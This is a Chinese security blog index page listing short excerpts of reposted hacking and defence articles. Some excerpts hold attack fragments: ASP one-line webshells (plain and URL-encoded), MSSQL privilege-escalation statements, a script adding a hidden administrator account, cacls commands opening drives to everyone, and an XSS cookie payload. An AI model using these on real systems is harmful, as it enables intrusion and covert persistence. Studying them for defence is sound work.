小王的博客_网络安全

关于OWASP Shepherd靶场

近期在研究网络安全技能测试靶场，发现OWASP Shepherd是一个不错的靶场，搭建起来了靶场环境（http://shepherd.siduzixun.com/login.jsp），经过测试还是比较接近实战环境的。通过这种靶场形式可以帮助开发者了解如何识别并避免Web应用程序中的漏洞。该平台是一个基于Web的应用程序，它可以让用户轻松地练习安全测试技能，并且具有实时攻

Web

OWASP

应用程序

原创 2023-03-24 13:52:52 1151 阅读

system没有net use权限

AT命令默认是用system权限在运行的，所以不要用AT命令来做磁盘映射之类的。可以用schtasks命令来代替AT http://technet.microsoft.com/zh-cn/library/cc772785(WS.10).aspx#BKMK_days

职场

system

休闲

schtasks

net use

转载精选 2011-06-08 16:16:51 1954 阅读 5点赞 4评论

一次SA权限入侵和小议SA提权

尝试在NB里面恢复CMDSHELL、OACREAT都没有成功，所以开启SQLSERVERAGENT ;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--还是没有成功，无奈之中希望寄托于沙盒模式，执行如下语句开启沙盒模式 ;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTW

职场

休闲

转载精选 2010-04-19 20:19:27 1014 阅读

一句话木马<%execute request("a")%>的原理

首先知道 execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute request("a")%>可以这样来解释： <% if request("a")<>"" then execute request("a") %>&

职场

休闲

一句话木马

转载 2010-04-19 19:26:36 2343 阅读

加固Samba安全三则

目前，许多用户因业务发展需要不断更新，从而造成环境差异较大，整个网络系统平台参差不齐，在服务器端大多使用Linux和Unix，桌面端使用Windows xp/Vista，所以在企业应用中往往是Linux/Unix和Windows操作系统共存形成异构网络。Linux中的Samba就是常用于Linux/Windows合组网下的文件服务器，这样Samba服务器的安全问题就凸显出来了。本文从Samba的访

职场

安全

samba

休闲

转载 2010-04-19 19:20:49 1523 阅读

彻底解决ARP欺骗

一、 ARP欺骗的原理在局域网中，同一子网中的两台计算机通信的建立实际上是通过MAC地址来完成的，所以两台计算机通信前必须将IP地址转换MAC地址，这个过程是由ARP协议完成的。如IP为192.168.0.10的计算机A想要和IP为192.168.0.8的计算机B通信，就会向整个网络发送一个广播（ARP REQUEST）大致内容为：“大家好，我的IP是 192.168.0.10,我的

职场

ARP

休闲

转载 2010-04-19 19:06:17 1912 阅读

wifi不可靠无线局域网八大安全困惑

无线局域网被认为是一种不可靠的网络，除了加强网络管理以外，更需要测试设备的构建、实施、维护和管理。　　尽管IT的寒冬还未渡过，但WLAN以其便利的安装、使用，高速的接入速度，可移动的接入方式赢得了众多公司、政府、个人以及电信运营商的青睐。但WLAN中，由于传送的数据是利用无线电波在空中辐射传播，无线电波可以穿透天花板、地板和墙壁，发射的数据可能到达预期之外的、安装在不同楼层、甚至是发射机所在的

职场

wifi

休闲

转载精选 2010-04-19 18:08:47 724 阅读

Google语法

利用google 半秒破 500 網！利用google 半秒破 500 網！其實 google 搜尋器變了駭客工具也不是新聞，老手早亦用到，新手的也可來試試。只要將以下字串作搜尋的話，你都得到很多密碼，當然若要得心應手便需要更多研究及借助其他軟件，但初步先懂得去找。 ------------------------------------------------------------

职场

Google

休闲

转载精选 2010-04-19 17:46:45 6090 阅读

利用google对特定站点进行测试的实现

利用google照样可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。 ------------------------------------------------首先用google先看这个站点的一些基本情况(一些细节部分就略去了): site:xxxx.com 从返回的信息中，找到几个该校的几个系院的域名： http//a1.xxxx.comhttp//a2.

职场

google

休闲

转载精选 2010-04-19 17:23:17 1104 阅读

如何构建适合自己的GHOST映象

GHOST是一个硬盘拷贝软件，它的原理就是将整个硬盘或者某些分区作映像保存，也可以将文件还原到硬盘上，恢复到硬盘前的状态。它具有安全、快速、保密性强、压缩率高、兼容性好等特点,特别适合电脑新手和担心操作麻烦的人使用。应用GHOST最核心的问题就是保证自己的硬盘映像是无毒的，最优化的且最适合自己的，如何才能做到这点呢？下面的介绍帮您解决这个问题。1．在我们接手一台新电脑后，首先要找一张干

职场

GHOST

休闲

转载 2010-04-19 15:42:23 685 阅读

迅雷提权方法

当我们使用迅雷下载东西的时候，会调用我们安装迅雷后一个htm文件，去激活htm文件里的一些代码，把我们所下载东西添加到列表当中。所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm 一处是C:\Program Files\Thunder Network\Thunder\Program\getAllur

职场

提权

休闲

转载 2010-04-19 15:38:07 1053 阅读

转个大牛对Rownum的讲解

ownum 真的是很好的东西，现在大多数用于存储过程分页. 但怎么用呢？这就来研究一下。 --- 以下为转载之处，仅供学习对于rownum来说它是 oracle系统顺序分配为从查询返回的行的编号，返回的第一行分配的是1，第二行是2，依此类推，这个伪字段可以用于限制查询返回的总行数，而且 rownum不能以任何表的名称作为前缀。举例说明：例如表：student(学生)表，表结构为：ID　　　&

职场

休闲

Rownum

转载 2010-04-19 15:37:19 378 阅读

MBSA——网管的安全助手

Windows服务器管理员们一直在关注系统安全和补丁更新的问题，如何更合理的安装补丁也是系统维护的重要组成部分，本文就介绍一个微软的官方安全工具，无论个人还是网管都可以使用它来更好的检测系统存在的漏洞和安全隐患。MBSA主要功能作为一名Windows服务器网管，不可避免的需要对操作系统软件进行安全性维护，但是现代软件系统特别是系统软件的复杂程度远远超出了一般网络维护人员的知识范畴。因此为了能够让W

职场

MBSA

休闲

转载 2010-04-19 15:06:44 965 阅读

计算机检查漏洞方法和相应处理

近来黑客攻击事件频频发生，我们身边的朋友可能有qq、E-mail和游戏账号被盗事件发生。现在的黑客技术有朝着大众化方向发展的趋势，能够掌握攻击他人系统技术的人越来越多了，只要你的电脑稍微有点系统Bug或者安装了有问题的应用程序，就有可能成为他人的肉鸡。如何给一台上网的机器查漏洞并做出相应的处理呢? 　　一、要命的端口　　计算机要与外界进行通信，必须通过一些端口。别人要想入侵和控制我们的电脑，

职场

漏洞

休闲

转载 2010-04-19 15:04:29 524 阅读

添加隐藏用户脚本

net user admins$ 1234567 /addnet localgroup administrators admins$ /addEcho HKEY_LOCAL_MACHINE\SAM [1] >>c:/tem.iniEcho HKEY_LOCAL_MACHINE\SAM\SAM [1] >>c:/tem.iniEcho HKEY_LOCAL_MACHINE\S

职场

休闲

隐藏用户

转载 2010-04-19 15:03:11 742 阅读

提权巧用RAR.EXE

rar.exe是什么？它就是大名鼎鼎的winrar自带的命令行解压程序。在提权中我们经常要下载各种敏感文件，比如:SU目录。你想一下，如果su目录文件这么多，难道你要一个个的下载？？这明显就很麻烦，有了rar.exe一切变的简单了！好了现在来介绍它的用法吧！得到了Webshell后，最好自己传一个rar.exe，虽然program files目录有，但是有时执行不了。rar.exe体积200K

职场

提权

休闲

转载 2010-04-19 14:44:03 452 阅读

系统提权方法大汇总

No.10 VncVnc不少老外都在用，国内用的比较少，但是几率很大。==============VNC提权方法==============利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password69 45150 96177 b1243 f3153 9989 59148

职场

提权

休闲

转载 2010-04-19 14:39:35 671 阅读

渗透测试oracle数据库能用到的技术

oracle

职场

休闲

转载 2010-04-19 14:38:57 460 阅读

入侵WIN2003 PHP服务器的另类技术

1、disable_functions的突破在php -4.0.1以上的版本，php.ini里引入了一项功能disable_functions , 这个功能比较有用，可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been d

职场

入侵

休闲

转载 2010-04-19 14:38:33 1122 阅读

绕过防火墙的方法

使用Http通道软件可以突破防火墙的限制，利用唯一Http访问的权限获得其他Internet应用。那么什么是通道呢?这里所谓的通道，是指一种绕过防火墙端口屏蔽的通讯方式。防火墙两端的数据包封装在防火墙所答应通过的数据包类型或是端口上，然后穿过防火墙与对方通讯，当封装的数据包到达目的地时，再将数据包还原，并将还原后的数据包转交到相应的服务器上。　　www.http-tunnel.com是一个专

职场

防火墙

休闲

转载 2010-04-19 14:35:45 2185 阅读

提权陷入困境时的命令

Cacls提权命令整理：Cacls的命令参数：cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览cacls.exe f: /e /t /g

职场

提权

休闲

转载 2010-04-19 14:34:31 320 阅读

黑客的致命诱惑蜜罐程序

信息来源:特络纳虽然自己电脑有防火墙,但你有没有想过,黑客到底想再你的电脑干些什么?想不想下个圈套来诱捕黑客? 一,什么是"蜜罐" 大家小时候应该听过大人给我讲的狗熊偷蜜的故事吧?要了解电脑安全方面的蜜罐,就得知道两个东西Honeypot和Honeynet. Honeypot是一种故意存在着缺陷的虚拟系统,用来对黑客进行欺骗,Honeynet是一个很有价值的学习工具,她能使我们了解黑客的

职场

休闲

转载 2010-04-19 14:33:13 722 阅读

黑客攻击特征分析与反攻击技术

要想更好的保护网络不受黑客的攻击，就必须对黑客的攻击方法、攻击原理、攻击过程有深入的、详细的了解，只有这样才能更有效、更具有针对性的进行主动防护。下面通过对黑客攻击方法的特征分析，来研究如何对黑客攻击行为进行检测与防御。　　一、反攻击技术的核心问题　　反攻击技术（入侵检测技术）的核心问题是如何截获所有的网络信息。目前主要是通过两种途径来获取信息，一种是通过网络侦听的途径（如Sniffer，

职场

休闲

转载 2010-04-19 14:32:46 522 阅读

根据Web服务器记录来追击黑客

现今的网络，安全越来越受到大家的重视，在构建网络安全环境时，在技术手段，管理制度等方面都逐步加强，设置防火墙，安装入侵检测系统等等。但网络安全是个全方位的问题，忽略哪一点都会造成木桶效应，使得整个安全系统虚设。本文从分析Web服务器的logging记录来找出漏洞，防范攻击，从而加强Web服务器安全。 Web服务是Internet所提供最多，最丰富的服务，各种Web服务器自然也是受到攻击最多的，我

职场

休闲

转载 2010-04-19 14:32:15 601 阅读

有关一句话后门

来源：安天团队收集：X.DW 一般来说就是针对有输入接口的地方插入一句话后门如下面所示：（1）<%eval request("#")%>（2）转换后的代码%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%23%22%29%25%3E 63字节（3）通过echo命令 echo ^<^%eval reque

职场

休闲

后门

转载 2010-04-19 14:31:16 681 阅读

小体积后门程序

1kb正向连接零管道后门代码说明: 不用我多说了吧..黑客一般都会使用的后门程序.. 这里只是简单的演示一下..没有添加进程隐藏功能程序可以在Win9x,Win2k,WinXP,Win2k3上使用程序体积只有1k(FSG压缩一下会更小) 测试: 本地

职场

休闲

后门

转载 2010-04-19 14:30:51 396 阅读 1评论

跨站式SQL脚本注入的技巧介绍

跨站式脚本注入的好用方法，总共分三节：第一节、SQL注入的一般步骤　　首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。　　其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：　　(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：　　Select * from 表名&nbs

职场

数据库

休闲

跨站

转载 2010-04-19 14:22:42 566 阅读

跨站脚本执行漏洞代码的几点思路

跨站脚本执行漏洞代码的6个思路分析： 1．构造一个提交，目标是能够显示用户Cookie信息： http://www.xxxx.net/txl/login/login.pl?username=<script>alert(document.cookie)</script>&passwd=&ok.x=28&ok.y=62．&n

职场

休闲

跨站

转载 2010-04-19 14:21:27 726 阅读 1点赞

网页木马攻击原理及防范

1 引言特洛伊木马（Trojan），简称木马，是一种程序，这种程序被包含在（或附着在）合法的或表面上无害的程序上的恶意程序。木马具有很强的隐蔽性，而且能够自启动，并进行自我保护。与病毒不同的是，木马一般不会进行自我繁殖，也不会可以地去感染其他文件。木马表面上提供一些令人感兴趣的或有用的功能，但除了用户能看到的功能以外，这种程序还通过内嵌的特殊代码来执行一些用户所不知道的恶意的功能。木马

职场

休闲

转载 2010-04-19 14:20:16 1030 阅读

攻击无线网络

攻击无线网络（一）：查找和访问网络http://www.searchnetworking.com.cn/ShowContent_15494.htm攻击无线网络（二）：建立Aerodumphttp://www.searchnetworking.com.cn/ShowContent_15496.htm攻击无线网络（三）：配置Aireplayhttp://www.searchnetworking.com

职场

无线网络

休闲

转载 2010-04-19 14:19:24 820 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

网管小王